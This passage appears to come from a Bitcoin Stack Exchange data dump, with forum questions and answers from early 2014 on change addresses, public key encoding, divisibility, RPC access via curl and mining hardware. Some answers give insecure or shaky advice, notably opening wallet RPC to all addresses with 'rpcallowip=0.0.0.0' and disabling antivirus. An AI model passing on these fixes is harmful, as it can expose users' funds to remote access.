paranoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Special Considerations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10 years is a long time, in that time there is a small but not none chance that Bitcoin's cryptographic algorithm may become weak. If your £50 turns into a sizeable amount you will need to be up to date on bitcoin news, don't be those people who are digging through waste dumps for a hard drive full of 10,000 bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-31T20:54:53.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19656" PostTypeId="2" ParentId="19544" CreationDate="2013-12-31T20:55:25.253" Score="4" Body="&lt;p&gt;The key to understanding what's going on here is to realize that there are not two, but three components of a bitcoin transaction that determine where coins end up. These are the inputs, the outputs, and the oft forgotten remainder. The inputs to a transaction are the addresses that have coins that are to be spent, and the outputs are the addresses where the coins are to be sent to. The reminder is the amount of coins left over when the inputs are greater than the outputs. In a bitcoin transaction, the remainder goes to the miner that confirms the block containing the transaction. That's why there needs to be a &quot;change&quot; address. If you have more coins in your input addresses than you want to send to the outputs, you need to send some back to yourself otherwise you'll loose them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard bitcoin client handles this transparently by generating new change addresses when you complete a transaction. This is the &quot;safe&quot; thing to do because technically re-using an address can open you up to a kind of attack that would allow whatever coins remain to be stolen. This attack relies on being able to calculate a private key from a public key, however, so until quantum computers become a thing you don't really need to worry about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though it is &quot;less&quot; safe, it is valid to use an input address also as an output address. I believe this is what blockchain does with a watch only address. Instead of creating a change address for the remainder in a transaction, it sends the change back to the original address. This means that you can use a watch only address multiple times without creating a new paper wallet. &lt;strong&gt;This means that you have to use blockchain when you are spending coins though.&lt;/strong&gt; If you import your keys into bitcoin-qt and spend the coins, your paper wallet will no longer contain any coins. They will have been moved to a new change address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to check and see if this is how blockchain actually works, and my guess is correct. If you spend coins from a cold storage address, blockchain will send the change back to the original address. You can see an example of this sort of transaction &lt;a href=&quot;https://blockchain.info/tx/c3f9fd60f9aca96515b83bf671174161836354492f0dbec936aca1bd9bed6a31&quot; rel=&quot;nofollow&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7583" LastEditorUserId="7583" LastEditDate="2014-01-01T05:09:59.020" LastActivityDate="2014-01-01T05:09:59.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19657" PostTypeId="2" ParentId="17140" CreationDate="2013-12-31T21:30:14.550" Score="1" Body="&lt;p&gt;Private keys can be exported to usb sticks or harddrives.&#xA;As for 2) when you export a private key for a back up or whatever else reason, you actually export a copy of the key . You original keys doesn't get moved out, so no, you don't neeed to re-import it.&lt;/p&gt;&#xA;" OwnerUserId="11629" LastActivityDate="2013-12-31T21:30:14.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19658" PostTypeId="2" ParentId="19645" CreationDate="2013-12-31T21:43:46.337" Score="0" Body="&lt;p&gt;Try disabling antivirus to see if it connects or enabling multibit connection in the antivirus&gt; firewall itself if this option is available. Or, check your router firewall for no restrictions  and that upnp Universal Plug and Play connection is allowed.&lt;/p&gt;&#xA;" OwnerUserId="11629" LastActivityDate="2013-12-31T21:43:46.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19659" PostTypeId="1" CreationDate="2014-01-01T02:02:48.993" Score="1" ViewCount="187" Body="&lt;p&gt;I am creating a dashboard, and I want to add Market Depth as an indicator from different exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have understood market depth from the following thread - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=147716.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=147716.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is I am a little confused as to the API's provided by Mt.Gox - They provide an API for depth which is linked closely to the volume.&#xA;The other exchanges provide API's for Bids and Asks - from which as per the link we can plot two curves and show the depth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the right way to go about building this plot for the different exchanges? Is there an algorithm that has to used. Is there a site that already provides the market Depth Info for different Exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for pointing me in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="10736" LastActivityDate="2014-01-01T02:02:48.993" Title="Market Depth Indicator - Howto?" Tags="|api|market|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19660" PostTypeId="2" ParentId="12348" CreationDate="2014-01-01T04:27:35.703" Score="0" Body="&lt;p&gt;Each byte is 8 bits - so in order to display a single byte in hexadecimal, we must see two characters.  However when you get the length of a string, you are getting the number of bytes in the string, not its hex equivalent - understand?  Therefore it is not necessary to divide by two.  If you convert a string into hex, then yes - the hex string will be twice the size, but that is not what you want.&lt;/p&gt;&#xA;" OwnerUserId="11637" LastActivityDate="2014-01-01T04:27:35.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19661" PostTypeId="1" AcceptedAnswerId="19670" CreationDate="2014-01-01T04:42:36.540" Score="6" ViewCount="16658" Body="&lt;p&gt;I've &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ&quot; rel=&quot;noreferrer&quot;&gt;read&lt;/a&gt; that bitcoins are infinitely divisible:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoins can be divided up and trade into as small of pieces as one wants&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How is this possible programmatically?  The only thing that comes to mind are floating points which are inaccurate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are bitcoins truly infinitely divisible or merely practically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A link to the relevant source code would be more than welcome.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="5406" LastEditorDisplayName="user5107" LastEditDate="2020-10-25T14:55:57.830" LastActivityDate="2020-10-25T14:55:57.830" Title="How is bitcoin infinitely divisible?" Tags="|bitcoin-core-development|divisibility|" AnswerCount="2" CommentCount="0" ClosedDate="2014-01-09T20:27:38.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="19662" PostTypeId="2" ParentId="17582" CreationDate="2014-01-01T04:43:49.167" Score="2" Body="&lt;p&gt;Many people have an interest in cryptocurrencies - some of them are interested enough that they would investigate and work on creating a new cryptocurrency.  Some people are in it for a quick profit, i.e. the scam coins, but others are genuinely interested.  Sometimes it is good to be associated with a currency, but often they prefer to be anonymous (to some extent) and watch and help from the sidelines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cryptocurrency is not just a once-off effort.  There is work needed to maintain it, especially when a problem occurs, or a security issue affects it.  It is necessary to update clients, maybe even fix a blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason for the increase in alternate cryptocurrencies is due to the hardware investment in the coin mining community.  For most miners like myself, it is now almost infeasible to mine BTC unless you have or are prepared to buy into the latest ASIC miners, but even then, the timeframe for making a reasonable profit is very short.  What do we do with this hardware - we use it to mine alternate coins that suit the hardware.  USB ASIC miners for SHA-256 based coins.  GPU mining for Scrypt based coins.  Hence the alternate coins are actually filling a need by the mining community to have something to mine and have the chance to make a profit or get a return on their investment.&lt;/p&gt;&#xA;" OwnerUserId="11637" LastActivityDate="2014-01-01T04:43:49.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19663" PostTypeId="2" ParentId="13241" CreationDate="2014-01-01T04:48:01.217" Score="0" Body="&lt;p&gt;If you are not changing the program as such, you should be able to place the blockchain into the same folder as the original.  We do this quite successfully in Windows.  We have also (for other currencies) zipped up a blockchain and had it downloaded onto a client which had sync problems - in order to fix the problem.  Similarly it should work the same way for Linux.&lt;/p&gt;&#xA;" OwnerUserId="11637" LastActivityDate="2014-01-01T04:48:01.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19664" PostTypeId="2" ParentId="19048" CreationDate="2014-01-01T05:41:33.127" Score="1" Body="&lt;p&gt;Base on your screen shot, in theory, you are contributing 808 hash per second (primepersec), but this may not realistic, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you get that screen shot? That is the correct command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Qt, click on help &gt; debug window &gt; console then enter getmininginfo at the bottom &quot;&gt;&quot; prompt. type help for other command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="11639" LastEditorUserId="11639" LastEditDate="2014-01-02T03:13:40.997" LastActivityDate="2014-01-02T03:13:40.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19665" PostTypeId="1" CreationDate="2014-01-01T05:45:51.563" Score="25" ViewCount="45984" Body="&lt;p&gt;I'am running Bitcoin-qt 0.8.6.1-beta on Qt 4.8.3 on windows 7 64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;below is my .conf content in %appdata%/bitcoin folder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=bitcoinrpc&#xA;rpcpassword=ahything&#xA;rpcallowip=127.0.0.1&#xA;rpcallowip=192.168.*.*&#xA;rpcport=9332 &#xA;server=1&#xA;daemon=0&#xA;addnode=69.164.218.197&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using curl 7.26.0 (i686-pc-mingw32), I run the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --user 'bitcoinrpc' --data-binary '{&quot;jsonrpc&quot;:&quot;1.0&quot;,&quot;id&quot;:&quot;curltext&quot;,&quot;method&quot;:&quot;getinfo&quot;,&quot;params&quot;:[]}' -H 'content-type:text/plain;' http://127.0.0.1:8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the pc ask for host password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the .conf password and also the PC password (which is the one I log into my PC)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always get error 401 (unauthorized) result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advice me where did I went wrong or how do I know which password it refer to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;KK Gian&lt;/p&gt;&#xA;" OwnerUserId="11639" LastActivityDate="2023-10-19T09:15:27.970" Title="json-rpc via curl" Tags="|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19666" PostTypeId="1" AcceptedAnswerId="19669" CreationDate="2014-01-01T05:49:16.140" Score="3" ViewCount="6826" Body="&lt;p&gt;Reference:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/File:PubKeyToAddr.png&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/File:PubKeyToAddr.png&lt;/a&gt;&#xA; and &#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Secp256k1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do we need both X and Y to make a private key? &lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2014-01-01T09:08:22.780" Title="Why do keys need both X and Y coordinates, if X can be solved for Y using the curve equation?" Tags="|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19667" PostTypeId="1" AcceptedAnswerId="19689" CreationDate="2014-01-01T07:32:06.147" Score="2" ViewCount="331" Body="&lt;p&gt;In &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#general_format_.28inside_a_block.29_of_each_input_of_a_transaction_-_Txin&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Txin&lt;/code&gt;&lt;/a&gt;, there is a double hash of the previous transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?  What purpose does that serve?  How is this data used later?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-02-14T17:02:58.023" Title="Why is a double hash of the previous transaction included in Txin?" Tags="|transactions|hash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19669" PostTypeId="2" ParentId="19666" CreationDate="2014-01-01T09:08:22.780" Score="8" Body="&lt;p&gt;A private key is just a number modulo the order of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A public key is the (X,Y) coordinate pair corresponding to that number (the private key) multiplied by the base point (which is a property of the curve used).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're talking about public keys: you're almost right. The Y coordinate can indeed be computed from the X coordinate, if you know the sign (given the formula y^2 = x^3 + 7, there are two solutions for Y for every X).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, if you're using a recent version of several wallet clients (bitcoind/bitcoin-qt since 0.6.0 for example), this trick is used. It's called compressed public keys, and it means that when spending a transaction output, the public key stored in the spending script (and thus the block chain) only contains the X coordinate and a marker byte to denote which of both Y coordinates is used. This is slightly slower to validate, but saves space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, public keys are encoded in the following legal ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x02 + [32-byte X coordinate] (if the Y coordinate is even)&lt;/li&gt;&#xA;&lt;li&gt;0x03 + [32-byte X coordinate] (if the Y coordinate is odd)&lt;/li&gt;&#xA;&lt;li&gt;0x04 + [32-byte X coordinate] + [32-byte Y coordinate]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(the two solutions for Y always have different oddness, but as we're talking about a coordinate in a finite field rather than a real number, it does not actually have a 'sign')&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-01T09:08:22.780" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19670" PostTypeId="2" ParentId="19661" CreationDate="2014-01-01T11:25:03.147" Score="7" Body="&lt;p&gt;Bitcoins are only divisible down to 8 decimal places (same &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#How_divisible_are_bitcoins.3F&quot; rel=&quot;noreferrer&quot;&gt;FAQ&lt;/a&gt; you referenced). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programmatically all calculations are performed in &lt;em&gt;satoshis&lt;/em&gt; using integer arithmetic (1 satoshi = 0.00000001 BTC)&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2014-01-01T11:25:03.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19672" PostTypeId="2" ParentId="14131" CreationDate="2014-01-01T12:13:17.823" Score="0" Body="&lt;p&gt;You should have no problem with 2x 10port hubs on a rasp-pi. I have tried a 49 port hub with full erupters and had several issues (using minepeon on the pi). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I can easily run over 100 erupters using a single instance of BFGminer on a laptop with windows 7; I don't know how this would work on a rasp pi though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know about tools to get the numbers you are asking about, but hopefully some of this info will help a bit!&lt;/p&gt;&#xA;" OwnerUserId="11643" LastActivityDate="2014-01-01T12:13:17.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19674" PostTypeId="1" AcceptedAnswerId="22023" CreationDate="2014-01-01T12:48:00.973" Score="4" ViewCount="2693" Body="&lt;p&gt;I'm parsing the blockchain to extract certain information I need for a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I do is parsing transactions. What I do is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getrawtransaction &amp;lt;tx&amp;gt;&#xA;decoderawtransaction &amp;lt;rawtx&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works on most of the transactions (&gt;99%) but some are very huge and the bitcoin client cant handle them. I wonder what else can handle them if not bitcoind itself. The error I get in bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TX decode failed (code -22)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats because it cant accept very long arguments. My ruby script dies with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Arguement list too long - (Errno::E2BIG)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to decode such transactions? Here are some examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2f50fdf7adbf58e91d738869948f4b191eb3cafa016c6df7e9182c06e4513852&#xA;e7229316b5a5b1f53382ec5a526b842dda2ca96bc891cd02d397a52c4a84dba0&#xA;540359af779a510828f0afd3c88562b62c37d0e4eeccb08104a167a3600f7956&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: I just tried to paste the rawtransaction to &lt;a href=&quot;https://coinb.in/decode-raw-transaction.html&quot; rel=&quot;nofollow&quot;&gt;this online parser&lt;/a&gt; and this one decodes that transaction without any problems. How is that possible programmatically?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="6441" LastEditDate="2014-01-01T12:53:20.203" LastActivityDate="2020-10-03T02:15:53.457" Title="How to decode very huge (!) raw transactions?" Tags="|transactions|blockchain|script|error|raw-transaction|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19675" PostTypeId="1" CreationDate="2014-01-01T12:59:36.520" Score="2" ViewCount="153" Body="&lt;p&gt;How to open a &lt;a href=&quot;https://products.butterflylabs.com/5-gh-s-bitcoin-miner.html&quot; rel=&quot;nofollow&quot;&gt;Butterfly 5GH/s miner&lt;/a&gt; and replace the fan? I don't see any screws at the outside. &lt;/p&gt;&#xA;" OwnerUserId="4138" LastEditorUserId="2306" LastEditDate="2017-04-25T19:58:41.690" LastActivityDate="2017-04-25T19:58:41.690" Title="How to open a Butterflylabs miner?" Tags="|mining-hardware|asic|butterfly-labs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19676" PostTypeId="2" ParentId="8439" CreationDate="2014-01-01T15:16:57.450" Score="25" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Gold&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia (Gold)&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A total of 174,100 tonnes of gold have been mined in human history,&#xA;according to GFMS as of 2012. This is roughly equivalent to 5.6&#xA;billion troy ounces or, in terms of volume, about 9261 m3, or a cube&#xA;&lt;strong&gt;21.0 m&lt;/strong&gt; on a side.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Bitcoin is often compared to gold, the total number of bitcoins matches the total amount of gold mined in human history which can be imagined as a cube &lt;strong&gt;21 m&lt;/strong&gt; on a side.&lt;/p&gt;&#xA;&lt;p&gt;As it is not entirely so important how many Bitcoins will exactly be mined. Satoshi could have easily chosen almost any number. He could just adjust block reward halving (210 000 blocks), reward sizes (50, 25, 12.5 ...), etc. to match some particular number.&lt;/p&gt;&#xA;&lt;p&gt;Gold is considered &lt;strong&gt;a standard for currency&lt;/strong&gt; and was used as such for thousands of years until recently &lt;a href=&quot;https://wtfhappenedin1971.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;it was abandoned in 1971&lt;/a&gt;. And that could be the reason why Satoshi maybe wanted Bitcoin to resemble gold at least in this unimportant property.&lt;/p&gt;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&lt;p&gt;Satoshi Nakamoto himself compared Bitcoin to gold.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=583.msg11405&amp;amp;source=post_page---------------------------#msg11405&quot; rel=&quot;nofollow noreferrer&quot;&gt;Satoshi Nakamoto @ bitcointalk.org:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;As a thought experiment, imagine there was a base metal as &lt;strong&gt;scarce as gold&lt;/strong&gt; but with the following properties:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;boring grey in colour&lt;/li&gt;&#xA;&lt;li&gt;not a good conductor of electricity&lt;/li&gt;&#xA;&lt;li&gt;not particularly strong, but not ductile or easily malleable either&lt;/li&gt;&#xA;&lt;li&gt;not useful for any practical or ornamental purpose&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;and one special, magical property:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;can be transported over a communications channel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3908" LastEditorUserId="3908" LastEditDate="2022-02-23T10:37:31.080" LastActivityDate="2022-02-23T10:37:31.080" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19677" PostTypeId="2" ParentId="2245" CreationDate="2014-01-01T16:36:33.767" Score="1" Body="&lt;p&gt;IMO, as a complete beginner, paper wallet with 2-3 copies sounds best. All stored in secure places!&#xA;I also like the thumb drives, but some of these answers seem ludicrous even to the geeky set, such as &quot;using this tutorial&quot; 2 posts above. &lt;/p&gt;&#xA;" OwnerUserId="11648" LastActivityDate="2014-01-01T16:36:33.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19678" PostTypeId="2" ParentId="12146" CreationDate="2014-01-01T16:52:58.147" Score="0" Body="&lt;p&gt;Or perhaps scrypt is closer to Satoshi's vision of truly decentralised crypto currency whose whole validation and monetary reward is headed towards a situation identical to the current banking system whereby the haves are in control whilst the havenots ate powerless. &#xA;Whilst ASICs are starting to obey Moore's Law it's a far cry from being decentralised when you consider btc pools like BTC GUILD account for 47% of mining power (as if that figure isn't over 51%!) &lt;/p&gt;&#xA;" OwnerUserId="10268" LastActivityDate="2014-01-01T16:52:58.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19679" PostTypeId="1" AcceptedAnswerId="19687" CreationDate="2014-01-01T17:00:07.860" Score="0" ViewCount="73" Body="&lt;p&gt;Almost two years ago I asked &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2459/bitcoins-somalia&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm wondering if anything has developed in the mean time.  In particular, are Somalia immigrants to the USA (of whom there are many in Minneapolis) now using bitcoins to send money to their relatives in Somalia?&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-01-01T20:16:57.600" Title="Somalia follow-up" Tags="|marketplace|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19682" PostTypeId="2" ParentId="19424" CreationDate="2014-01-01T19:26:04.337" Score="0" Body="&lt;p&gt;For any Moving average calculation you have to start with tick by tick calculation, then 1 minute ,then 5 minutes,30 minutes, 1 hr, 4 hrs ,daily, weekly and monthly.&lt;/p&gt;&#xA;" OwnerUserId="11653" LastActivityDate="2014-01-01T19:26:04.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19683" PostTypeId="1" AcceptedAnswerId="19694" CreationDate="2014-01-01T19:29:56.493" Score="2" ViewCount="644" Body="&lt;p&gt;I am running Bitcoin-Qt, and it is shutting down my laptop while trying to synchronize. I even tried on a different laptop with the same result of shutting itself down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This situation happens while synchronizing, the CPU usage and the CPU temperature raises dramatically and the computer doesn't have any other option than shutting itself down before becoming permanently damaged. How can I fix this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some of the system details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.samsung.com/us/computer/pcs/NP-R730-JB02US&quot; rel=&quot;nofollow&quot;&gt;Samsung R730&lt;/a&gt; laptop with&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;4&amp;nbsp;GB RAM&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Intel_Core#Core_i3_2&quot; rel=&quot;nofollow&quot;&gt;Intel Core i3&lt;/a&gt; dual core processor&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Arch_Linux&quot; rel=&quot;nofollow&quot;&gt;Arch Linux&lt;/a&gt; system &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11138" LastEditorUserId="1405" LastEditDate="2014-01-02T07:55:03.747" LastActivityDate="2014-02-07T09:56:49.633" Title="Bitcoin-Qt is shutting down my laptop" Tags="|bitcoin-core|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19684" PostTypeId="2" ParentId="12670" CreationDate="2014-01-01T19:30:35.403" Score="-2" Body="&lt;p&gt;Its not possible due to various settlement mechanisms.Each exchange have their own settlement period and their transaction and transfer fees.&lt;/p&gt;&#xA;" OwnerUserId="11653" LastActivityDate="2014-01-01T19:30:35.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19685" PostTypeId="2" ParentId="19683" CreationDate="2014-01-01T20:07:52.790" Score="0" Body="&lt;p&gt;I had something similar happen on a cheapie vps, bitcoin-qt is a demanding program, it crashes for you because it's verifying all the transactions that ever happened with bitcoin. To lessen the load, just find a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=117982.0&quot; rel=&quot;nofollow&quot;&gt;torrent/download&lt;/a&gt; of the block chain. Also try out a thin-client (like electrum) if you only need basic wallet functionality.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-01T20:07:52.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19687" PostTypeId="2" ParentId="19679" CreationDate="2014-01-01T20:16:57.600" Score="2" Body="&lt;p&gt;Well the only thing that has really changed is the growth and exposure of Bitcoin. The biggest challenge I see in moving money like this is exchanging or use. How are the Somalia-based recipients going to use the Bitcoins if no in the community is using or exchanging them. For Bitcoin to be used in a money transmitting operation successfully, the community must accept it and use it to a certain degree in order for the Bitcoins to have any value for the Somalian-based receiver. Also you need an internet connection to at least one well known node, even the cheapest slowest internet will suffice if a thin-wallet is used. &lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-01T20:16:57.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19689" PostTypeId="2" ParentId="19667" CreationDate="2014-01-01T20:24:08.953" Score="1" Body="&lt;p&gt;I believe it is one of the principles of Bitcoin, to make transactions you first have to have a valid transaction it stems from. If the previous transaction is not valid than the first transaction isn't valid as well.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-01T20:24:08.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19690" PostTypeId="2" ParentId="19645" CreationDate="2014-01-01T20:24:16.853" Score="1" Body="&lt;p&gt;For anybody with common problem. It was DNS related problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message from console:&#xA;01.01.14 21:06:52,881 mDNSResponder[38]: mDNSSendDNSMessage: write msg length failed -1/2&#xA;01.01.14 21:06:52,882 mDNSResponder[38]: ERROR: mDNSPlatformWriteTCP - send Broken pipe&lt;/p&gt;&#xA;" OwnerUserId="11620" LastActivityDate="2014-01-01T20:24:16.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19692" PostTypeId="2" ParentId="19366" CreationDate="2014-01-01T21:33:31.223" Score="2" Body="&lt;p&gt;I solved it somehow, even though I am not sure why this solved it.&#xA;I added the following line to the config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=0.0.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11411" LastActivityDate="2014-01-01T21:33:31.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19693" PostTypeId="2" ParentId="10223" CreationDate="2014-01-01T22:42:26.903" Score="0" Body="&lt;p&gt;The one big difference is that banks are allowed to create money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you take a loan out of a bank, the bank's funds don't go down. Your account gets fresh new dollars that are not coming from some other acount. They are brand new. Only a gateway with a banking permit would be allowed to do this, but then it would technically be a bank.&lt;/p&gt;&#xA;" OwnerUserId="11655" LastActivityDate="2014-01-01T22:42:26.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
